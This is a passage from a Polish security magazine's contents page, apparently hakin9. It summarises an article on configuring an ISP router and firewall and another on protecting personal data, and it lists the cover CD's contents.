w rzeczywistym środowisku, które obsługuje sieć na kilka tysięcy klientów
z dostępem do Internetu (lokalny ISP). Konfigurować będziemy główny ro-
uter, a zarazem firewall, który kontroluje ruch internetowy indywidualnych
klientów oraz serwera usługowego z zainstalowanymi usługami www/ftp/
mail/dns/ssh i Verlihub.
Bezpieczeństwo
teleinformatyczne danych osobowych
System informatyczny, w którym przetwarzane są dane osobowe,
powinien oprócz wymagań wynikających z przepisów prawa uwzględ-
niać wymagania Generalnego Inspektora Ochrony Danych Osobowych
w zakresie struktur baz danych osobowych oraz funkcjonalności zarzą-
dzających nimi aplikacji. Artykuł Andrzeja Guzika zawiera przydatne
informacje, jak zapewnić bezpieczeństwo danym osobowym, które prze-
twarzane są w takim systemie.
NA CD:
• hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.
Obrona
Bezpieczna
Firma